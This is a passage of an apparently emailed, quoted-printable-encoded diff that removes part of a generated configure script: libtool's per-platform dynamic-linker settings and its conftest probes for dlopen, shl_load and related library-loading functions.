shared lib support for Linux oldld, aout, or coff. -linux*oldld* | linux*aout* | linux*coff*) - dynamic_linker=3Dno - ;; - -# This must be Linux ELF. -linux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -n $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. - hardcode_into_libs=3Dyes - - # Append ld.so.conf contents to the search path - if test -f /etc/ld.so.conf; then - lt_ld_extra=3D`$SED -e 's/:,\t/ /g;s/=3D^=3D*$//;s/=3D^=3D * / /g'= /etc/ld.so.conf | tr '\n' ' '` - sys_lib_dlsearch_path_spec=3D"/lib /usr/lib $lt_ld_extra" - fi - - # We used to test for /lib/ld.so.1 and disable shared libraries on - # powerpc, because MkLinux only supported shared libraries with the - # GNU dynamic linker. Since this was broken with cross compilers, - # most powerpc-linux boxes support dynamic linking these days and - # people can always --disable-shared, the test was removed, and we - # assume the GNU/Linux dynamic linker is in use. - dynamic_linker=3D'GNU/Linux ld.so' - ;; - -knetbsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -netbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - dynamic_linker=3D'NetBSD (a.out) ld.so' - else - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'NetBSD ld.elf_so' - fi - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - -newsos6) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -nto-qnx*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -openbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - case $host_os in - openbsd2.[89] | openbsd2.[89].*) -=09shlibpath_overrides_runpath=3Dno -=09;; - *) -=09shlibpath_overrides_runpath=3Dyes -=09;; - esac - else - shlibpath_overrides_runpath=3Dyes - fi - ;; - -os2*) - libname_spec=3D'$name' - shrext_cmds=3D".dll" - need_lib_prefix=3Dno - library_names_spec=3D'$libname${shared_ext} $libname.a' - dynamic_linker=3D'OS/2 ld.exe' - shlibpath_var=3DLIBPATH - ;; - -osf3* | osf4* | osf5*) - version_type=3Dosf - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/= cc /usr/lib /usr/local/lib /var/shlib" - sys_lib_dlsearch_path_spec=3D"$sys_lib_search_path_spec" - ;; - -sco3.2v5*) - version_type=3Dosf - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -solaris*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - # ldd complains unless libraries are executable - postinstall_cmds=3D'chmod +x $lib' - ;; - -sunos4*) - version_type=3Dsunos - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/usr/etc" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - if test "$with_gnu_ld" =3D yes; then - need_lib_prefix=3Dno - fi - need_version=3Dyes - ;; - -sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - case $host_vendor in - sni) - shlibpath_overrides_runpath=3Dno - need_lib_prefix=3Dno - export_dynamic_flag_spec=3D'${wl}-Blargedynsym' - runpath_var=3DLD_RUN_PATH - ;; - siemens) - need_lib_prefix=3Dno - ;; - motorola) - need_lib_prefix=3Dno - need_version=3Dno - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/ccs/lib' - ;; - esac - ;; - -sysv4*MP*) - if test -d /usr/nec ;then - version_type=3Dlinux - library_names_spec=3D'$libname${shared_ext}.$versuffix $libname${s= hared_ext}.$major $libname${shared_ext}' - soname_spec=3D'$libname${shared_ext}.$major' - shlibpath_var=3DLD_LIBRARY_PATH - fi - ;; - -uts4*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -*) - dynamic_linker=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $dynamic_linker" >&5 -echo "${ECHO_T}$dynamic_linker" >&6 -test "$dynamic_linker" =3D no && can_build_shared=3Dno - -echo "$as_me:$LINENO: checking how to hardcode library paths into prog= rams" >&5 -echo $ECHO_N "checking how to hardcode library paths into programs... = $ECHO_C" >&6 -hardcode_action_GCJ=3D -if test -n "$hardcode_libdir_flag_spec_GCJ" || \ - test -n "$runpath_var_GCJ" || \ - test "X$hardcode_automatic_GCJ" =3D "Xyes" ; then - - # We can hardcode non-existant directories. - if test "$hardcode_direct_GCJ" !=3D no && - # If the only mechanism to avoid hardcoding is shlibpath_var, we - # have to relink, otherwise we might link with an installed libra= ry - # when we should be linking with a yet-to-be-installed one - ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" !=3D no && - test "$hardcode_minus_L_GCJ" !=3D no; then - # Linking always hardcodes the temporary library directory. - hardcode_action_GCJ=3Drelink - else - # We can link without hardcoding, and we can hardcode nonexisting = dirs. - hardcode_action_GCJ=3Dimmediate - fi -else - # We cannot hardcode anything, or else we can only hardcode existing - # directories. - hardcode_action_GCJ=3Dunsupported -fi -echo "$as_me:$LINENO: result: $hardcode_action_GCJ" >&5 -echo "${ECHO_T}$hardcode_action_GCJ" >&6 - -if test "$hardcode_action_GCJ" =3D relink; then - # Fast installation is not supported - enable_fast_install=3Dno -elif test "$shlibpath_overrides_runpath" =3D yes || - test "$enable_shared" =3D no; then - # Fast installation is not necessary - enable_fast_install=3Dneedless -fi - -striplib=3D -old_striplib=3D -echo "$as_me:$LINENO: checking whether stripping libraries is possible= " >&5 -echo $ECHO_N "checking whether stripping libraries is possible... $ECH= O_C" >&6 -if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; t= hen - test -z "$old_striplib" && old_striplib=3D"$STRIP --strip-debug" - test -z "$striplib" && striplib=3D"$STRIP --strip-unneeded" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -else -# FIXME - insert some real tests, host_os isn't really good enough - case $host_os in - darwin*) - if test -n "$STRIP" ; then - striplib=3D"$STRIP -x" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - ;; - *) - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 - ;; - esac -fi - -if test "x$enable_dlopen" !=3D xyes; then - enable_dlopen=3Dunknown - enable_dlopen_self=3Dunknown - enable_dlopen_self_static=3Dunknown -else - lt_cv_dlopen=3Dno - lt_cv_dlopen_libs=3D - - case $host_os in - beos*) - lt_cv_dlopen=3D"load_add_on" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - ;; - - mingw* | pw32*) - lt_cv_dlopen=3D"LoadLibrary" - lt_cv_dlopen_libs=3D - ;; - - cygwin*) - lt_cv_dlopen=3D"dlopen" - lt_cv_dlopen_libs=3D - ;; - - darwin*) - # if libdl is installed we need to link against it - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - - lt_cv_dlopen=3D"dyld" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - -fi - - ;; - - *) - echo "$as_me:$LINENO: checking for shl_load" >&5 -echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 -if test "${ac_cv_func_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define shl_load to an innocuous variant, in case declare= s shl_load. - For example, HP-UX 11i declares gettimeofday. */ -#define shl_load innocuous_shl_load - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char shl_load (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef shl_load - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_shl_load) || defined (__stub___shl_load) -choke me -#else -char (*f) () =3D shl_load; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D shl_load; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 -echo "${ECHO_T}$ac_cv_func_shl_load" >&6 -if test $ac_cv_func_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" -else - echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 -echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -int -main () -{ -shl_load (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 -if test $ac_cv_lib_dld_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" lt_cv_dlopen_libs=3D"-dld" -else - echo "$as_me:$LINENO: checking for dlopen" >&5 -echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 -if test "${ac_cv_func_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define dlopen to an innocuous variant, in case declares = dlopen. - For example, HP-UX 11i declares gettimeofday. */ -#define dlopen innocuous_dlopen - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char dlopen (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef dlopen - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_dlopen) || defined (__stub___dlopen) -choke me -#else -char (*f) () =3D dlopen; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D dlopen; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 -echo "${ECHO_T}$ac_cv_func_dlopen" >&6 -if test $ac_cv_func_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" -else - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 -echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 -if test "${ac_cv_lib_svld_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-lsvld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_svld_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_svld_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 -if test $ac_cv_lib_svld_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-lsvld" -else - echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 -echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_dld_link+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dld_link (); -int -main () -{ -dld_link (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_dld_link=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_dld_link=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 -if test $ac_cv_lib_dld_dld_link =3D yes; then - lt_cv_dlopen=3D"dld_link" lt_cv_dlopen_libs=3D"-dld" -fi - - -fi - - -fi - - -fi - - -fi - - -fi - - ;; - esac - - if test "x$lt_cv_dlopen" !=3D xno; then - enable_dlopen=3Dyes - else - enable_dlopen=3Dno - fi - - case $lt_cv_dlopen in - dlopen) - save_CPPFLAGS=3D"$CPPFLAGS" - test "x$ac_cv_header_dlfcn_h" =3D xyes && CPPFLAGS=3D"$CPPFLAGS -D= HAVE_DLFCN_H" - - save_LDFLAGS=3D"$LDFLAGS" - eval LDFLAGS=3D\"\$LDFLAGS $export_dynamic_flag_spec\" - - save_LIBS=3D"$LIBS" - LIBS=3D"$lt_cv_dlopen_libs $LIBS" - - echo "$as_me:$LINENO: checking whether a program can dlopen itself= " >&5 -echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C"= >&6 -if test "${lt_cv_dlopen_self+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" 